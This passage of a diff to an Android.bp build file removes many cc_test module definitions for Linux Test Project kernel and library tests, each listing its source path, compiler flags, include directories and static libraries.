-    stem: "pipe2_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe2/pipe2_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe2_02",
-    stem: "pipe2_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe2/pipe2_02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal01",
-    stem: "signal01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signal/signal01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_symlinkat01",
-    stem: "symlinkat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/symlinkat/symlinkat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdir03",
-    stem: "mkdir03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdir/mkdir03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_creat04",
-    stem: "creat04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/creat/creat04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_access01",
-    stem: "access01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/access/access01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdir02",
-    stem: "mkdir02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdir/mkdir02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal03",
-    stem: "signal03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signal/signal03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ppoll01",
-    stem: "ppoll01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ppoll/ppoll01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stream04",
-    stem: "stream04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/stream/stream04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_read03",
-    stem: "read03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/read/read03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal02",
-    stem: "signal02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signal/signal02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_read04",
-    stem: "read04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/read/read04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_unlink08",
-    stem: "unlink08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unlink/unlink08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fork_processes",
-    stem: "fork_processes",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cgroup/fork_processes.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_get_priority_min01",
-    stem: "sched_get_priority_min01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_getoverrun01",
-    stem: "timer_getoverrun01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod02",
-    stem: "mknod02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysfs06",
-    stem: "sysfs06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tomoyo_new_file_test",
-    stem: "tomoyo_new_file_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_new_file_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_aiocp",
-    stem: "aiocp",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/aiocp.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genpow",
-    stem: "genpow",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/genpow.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_openat03",
-    stem: "openat03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/openat/openat03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_openat01",
-    stem: "openat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/openat/openat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup205",
-    stem: "dup205",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup2/dup205.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setdomainname03",
-    stem: "setdomainname03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setdomainname/setdomainname03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_perf_event_open01",
-    stem: "perf_event_open01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/perf_event_open/perf_event_open01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup204",
-    stem: "dup204",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup2/dup204.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stream02",
-    stem: "stream02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/stream/stream02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vfork",
-    stem: "vfork",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/freezer/vfork.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpagesize01",
-    stem: "getpagesize01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpagesize/getpagesize01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_res_hexd",
-    stem: "tst_res_hexd",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/tst_res_hexd.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stream03",
-    stem: "stream03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/stream/stream03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getresgid03",
-    stem: "getresgid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getresgid/getresgid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setsockopt02",
-    stem: "setsockopt02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysfs05",
-    stem: "sysfs05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysfs04",
-    stem: "sysfs04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysfs/sysfs04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gensinh",
-    stem: "gensinh",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/iperb/gensinh.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_getppid01",
-    stem: "getppid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getppid/getppid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_creat08",
-    stem: "creat08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/creat/creat08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_access03",
-    stem: "access03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/access/access03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getppid02",
-    stem: "getppid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getppid/getppid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_creat05",
-    stem: "creat05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/creat/creat05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_cleanup_once",
-    stem: "tst_cleanup_once",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_cleanup_once.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_creat07",
-    stem: "creat07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/creat/creat07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_creat01",
-    stem: "creat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/creat/creat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal04",
-    stem: "signal04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signal/signal04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_creat03",
-    stem: "creat03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/creat/creat03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signal06",
-    stem: "signal06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signal/signal06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dirtyc0w",
-    stem: "dirtyc0w",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/dirtyc0w/dirtyc0w.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_delete_module01",
-    stem: "delete_module01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/module/delete_module/delete_module01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link08",
-    stem: "link08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getdtablesize01",
-    stem: "getdtablesize01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getdtablesize/getdtablesize01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link05",
-    stem: "link05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link04",
-    stem: "link04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link07",
-    stem: "link07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link06",
-    stem: "link06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clock_nanosleep2_01",
-    stem: "clock_nanosleep2_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clock_nanosleep2/clock_nanosleep2_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setsockopt01",
-    stem: "setsockopt01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link03",
-    stem: "link03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_link02",
-    stem: "link02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/link/link02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstatfs01",
-    stem: "fstatfs01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstatfs",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gethostname01",
-    stem: "gethostname01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/gethostname/gethostname01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstatfs02",
-    stem: "fstatfs02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstatfs/fstatfs02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstatfs",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_aiodio_append",
-    stem: "aiodio_append",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/aiodio_append.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_aio01",
-    stem: "aio01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/aio/aio01/aio01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_settime02",
-    stem: "timer_settime02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/timer_settime/timer_settime02.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_autogroup01",
-    stem: "autogroup01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/autogroup/autogroup01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_def_task02",
-    stem: "cpuctl_def_task02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_fchmod01",
-    stem: "fchmod01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmod/fchmod01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getattr01",
-    stem: "sched_getattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getattr/sched_getattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fsx-linux",
-    stem: "fsx-linux",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fsx-linux/fsx-linux.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DNO_XFS",
-        "-D_LARGEFILE64_SOURCE",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/fs/fsx-linux",
-        "include/old",
-    ],
-}
-
-cc_test {
-    name: "ltp_float_exp_log",
-    stem: "float_exp_log",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/float_exp_log.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execlp01",
-    stem: "execlp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execlp/execlp01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chdir02",
-    stem: "chdir02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chdir/chdir02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ima_mmap",
-    stem: "ima_mmap",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/integrity/ima/src/ima_mmap.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-    shared_libs: [
-        "libdl",
-        "libcrypto",
-    ],
-}
-
-cc_test {
-    name: "ltp_block_dev",
-    stem: "block_dev",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/block/block_dev_user/block_dev.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getcwd04",
-    stem: "getcwd04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getcwd/getcwd04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_dataroot02",
-    stem: "tst_dataroot02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_dataroot02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_dataroot03",
-    stem: "tst_dataroot03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_dataroot03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstat03",
-    stem: "fstat03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_dataroot01",
-    stem: "tst_dataroot01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_dataroot01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstat05",
-    stem: "fstat05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_def_task03",
-    stem: "cpuctl_def_task03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
     ],
-}
-
-cc_test {
-    name: "ltp_chdir04",
-    stem: "chdir04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chdir/chdir04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socketcall04",
-    stem: "socketcall04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketcall/socketcall04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mtest01",
-    stem: "mtest01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mtest01/mtest01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -10278,1516 +1557,6 @@
     stem: "create_long_dirs",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/create_long_dirs.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpriority01",
-    stem: "getpriority01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpriority/getpriority01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kmsg01",
-    stem: "kmsg01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/logging/kmsg/kmsg01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
